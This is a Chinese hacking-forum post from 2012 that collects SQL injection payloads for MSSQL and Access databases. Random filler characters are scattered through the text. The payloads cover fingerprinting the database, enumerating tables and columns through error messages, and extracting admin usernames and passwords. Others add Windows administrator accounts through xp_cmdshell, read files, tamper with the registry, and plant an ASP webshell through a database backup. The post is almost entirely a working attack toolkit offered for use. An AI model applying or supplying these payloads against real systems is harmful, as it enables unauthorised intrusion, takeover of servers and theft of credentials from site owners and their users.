找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1803|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 2 `2 ^+ C* F! ]. y5 m
;and 1=1
, {7 ^' h2 T: Z8 c/ Z$ Y' x;and 1=2
  E4 V- X4 \: J8 U; q9 C" ^6 b0 F4 N5 N7 ]0 l% i: }3 S) U  U" {9 i! u
2.初步判断是否是mssql
6 U; ^% w, s3 w1 F# B" ];and user>0
) q* u+ i) Y# [2 r- T4 G% ]7 @3 r: Y& o; V% d! g
3.判断数据库系统
; |$ P& O9 L! d;and (select count(*) from sysobjects)>0 mssql
. s) o$ e! U. _' ~;and (select count(*) from msysobjects)>0 access ) U! f$ M, w4 D* U5 D
/ B6 m8 o2 u0 B" m3 Q
4.注入参数是字符
7 r4 p7 y3 A; }  H  i$ X6 @2 k'and [查询条件] and ''='
; W0 |5 n5 q( w2 n" d4 F$ o
' O; r& x8 I# ^, O5.搜索时没过滤参数的
5 T, ^  `$ A2 `! ?+ I3 |'and [查询条件] and '%25'=' . I1 C: k; n0 H6 y+ Y

  O2 n$ s& q4 p3 O. C. g6.猜数表名 6 L$ ]8 j) K' T9 \
;and (select Count(*) from [表名])>0 ) A- S  s, Z- H0 [2 D# G/ ^( K' L
' ^, D/ Q! p1 Q4 }" z* m1 e8 o
7.猜字段 3 J3 a( _3 R/ j" P
;and (select Count(字段名) from 表名)>0
5 F& {' ]; c2 }& q
$ {8 ~% _% a+ B1 b. v2 S; o8.猜字段中记录长度
7 S: }: ]. R( z8 I- {* V;and (select top 1 len(字段名) from 表名)>0
; }0 b( s- e3 I3 C- U& x  D
8 U- B% {2 G5 m3 j6 H' F9.(1)猜字段的ascii值(access)
! l# l- \4 j0 b6 ]" |;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
( h/ |/ u( O' v) B$ \) b# u- P  X0 e/ W4 G8 B! B9 c
(2)猜字段的ascii值(mssql) & f: r. O% Q( G
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
( @+ D( O9 N0 \% q$ \8 t/ {4 l6 [7 p" m7 }9 q
10.测试权限结构(mssql) ! n8 \5 y6 _/ [7 j6 I* C3 g8 a
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 U6 [9 f2 y3 A, g0 j! V+ R;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
  M' X7 C# a$ h;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + Y& ~, ?/ G& `. U6 h/ y0 \
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- " P1 D7 b# |2 d, T
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% A$ i0 R( A' u$ m  o. i6 F;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
% O% N" i  H( [" Y& @* B;and 1=(select IS_MEMBER('db_owner'));--
/ U3 i  W5 A3 M, e" G3 O4 s, g7 G! H* h! Y0 F
11.添加mssql和系统的帐户 7 A9 m  k* ^$ Z. ^% x6 f5 k
;exec master.dbo.sp_addlogin username;--
: f- o7 A" p1 X) k8 Q8 \9 f;exec master.dbo.sp_password null,username,password;--
6 G6 \9 \( s& k/ e2 p$ N;exec master.dbo.sp_addsrvrolemember sysadmin username;--
0 n# d- a! p% T- u9 I  i;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- : p* d1 t0 b1 V
;exec master.dbo.xp_cmdshell 'net user username password /add';--
9 W4 B; C8 R5 n- F. T5 ?1 t;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ' }  D. m0 N& a% B+ p9 O% O

6 M3 o% s* g6 m$ l12.(1)遍历目录 - N/ y, N* a5 a+ T8 \
;create table dirs(paths varchar(100), id int) 8 T7 }- T, r  O( Y
;insert dirs exec master.dbo.xp_dirtree 'c:\' 7 r% F7 [6 T! r$ ~
;and (select top 1 paths from dirs)>0
! K8 k9 K; v" a: w/ O  |2 z;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- a/ a) ]+ P  J, ?. q0 h9 D4 c1 O( A7 _* V
(2)遍历目录 ) X+ v& a! I. a" D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; ^/ B5 X& G6 \, Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 + s# I) \& R0 {4 h" J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 {% w- s" M1 Y1 G, O;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
) _5 w2 \7 Y& R! O" y/ A* `% };insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - p9 E5 C- }) Y' d

1 e2 o8 `/ t% S1 C3 k7 x13.mssql中的存储过程 % o& V; V6 C# F+ O9 q; X# w  k3 T
xp_regenumvalues 注册表根键, 子键 ! M& N  P5 l4 L5 y( M2 |
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
# P* m& V( s2 I# oxp_regread 根键,子键,键值名 7 g* `4 {2 K% B1 n
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 / f- u+ w  t6 p
xp_regwrite 根键,子键, 值名, 值类型, 值 * F4 R' ?9 @0 P' j& j" n6 p6 r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , i1 }/ J, j) [6 i, x/ O
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ) u0 m1 b/ D4 B/ N
xp_regdeletevalue 根键,子键,值名 - X) t; W+ z/ d  f
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 3 D" k, R5 m# h1 x
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ' i5 e3 y* L9 E2 }! P
" ]4 M. O3 n4 D* M5 y3 J
14.mssql的backup创建webshell + ~% F7 X+ _$ v% S4 y" c
use model
9 u9 \# [+ ]$ E9 }6 L6 icreate table cmd(str image); 8 l+ V# d2 M4 e$ A
insert into cmd(str) values ('<% Dim oScript %>');
' ^/ p/ O; R3 e9 @" Jbackup database model to disk='c:\l.asp';
* m: c3 h5 P! J* L7 b
2 @' ~2 ^& X1 C! U/ }8 K15.mssql内置函数 / r2 p8 m2 S1 \, A
;and (select @@version)>0 获得Windows的版本号
) W* w" {: c6 E$ \;and user_name()='dbo' 判断当前系统的连接用户是不是sa . K9 n7 T1 L2 Q5 G
;and (select user_name())>0 爆当前系统的连接用户 9 C  u0 h, _8 y2 V
;and (select db_name())>0 得到当前连接的数据库   k1 _+ W! K( z" X! p: ?$ ]
. O& w0 l4 f* H4 S) _6 V: E- P5 V
: m) G5 O1 W' t' \

* \  Q/ P. x0 `8 Y% m: _  w) RMSSQL手注暴库+ l6 S' s, e  ]" K& g6 _4 j2 n) N

' K  D$ u6 o, ?9 y3 m- J8 ^# g8 ]1.暴出当前表名和列名
. F# R6 g+ x# ~; F. M3 o在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。8 v! z$ }4 L# k: N
5 A4 I5 W. O1 R8 l: [0 X
第一.爆出所有数据库名+ `7 S" D( D: H6 o0 p6 L) |4 j
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
5 d6 {0 K; ?; q第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
$ C1 L4 l. q, b  c
. C' i5 ]( d2 Y- U. o% band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名* ]+ _) t* u) o3 v8 z, x5 ~- {( F

2 Y" D3 h$ T% N# z/ f7 T" ]+ e8 ?& x, J$ d0 [# J" ?
第二.爆出指定库中的所有表名0 V, `9 d& e- S% d1 r9 V7 e
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
- W/ h! Q* ^; C3 V; K. ?! S% O再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
5 D$ I) w: D! a: U6 `% ]/ ~
# V: j" S$ t4 v  ^' k5 [0 kand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
" P! B" N( X7 D6 s3 _and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
- ^! ~0 @. C; J- C( R' Vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--4 l$ C! B1 a2 [: J3 U( l% s6 H
: P1 m3 C6 M: O' n3 T" ]! Q
4.爆出指定表中的所有列名
0 {4 @  E* O! Q: ]1 Rand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
: P& @8 B5 [8 T4 x//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
: Q+ J/ p2 L. l6 C0 |( ~6 \  {9 `) B4 ]4 r- m& H
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
; k: s8 [+ p3 V1 p" v7 [, O" s+ b
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
7 a" V$ d- u2 E6 H& i% i5 J依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
/ X3 z' H  E/ E$ j; T& j" H. }; H
' W3 ?# x& a$ a8 W6 |5 Q1 u2 Q1 W
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
6 I$ O3 X6 @3 ]: i$ h, N
) @! b; a* k% B& x; N# Iand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
* G: N9 a7 p, B7 W
, g; @$ M$ t9 ^4 s8 y. E  T$ R( pand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
' }. `- F2 H, D" D5 k/ J8 b' h; k! k: Z0 F* T# ?6 j: E% w

$ k" {- P! i" l& _0 q, X% {+ [& \5 `3 }, Z! Y3 x6 |
5.读取指定表中的数据/ X( ?1 ^  B$ k$ A- Y7 M: u' Z
* E7 u* p4 o# n
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
" z( d2 j3 `- Z6 Z& F0 z- Q6 t' F+ L; i  s+ k" g( t
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--0 T3 X5 ?# `* j+ @
6 C& w( y2 H- V3 \
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
6 U: U4 M7 O* t' ^# L5 _0 e- W" y, T' ^8 p2 C, T" C: |
- D5 A0 z6 h7 P; m: P0 n
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
0 B7 q" f! U5 w: l, v0 v
$ O# ]; U+ M, c: H7 p" O* [' X/ Zand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
8 _" n- C* R3 M' L* V
: v# T: g7 Z/ mand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
) R2 A6 ?1 u0 N) _9 U5 j4 O
7 d( X) q% }+ }; u知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。' O8 _" a  F  b* F4 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表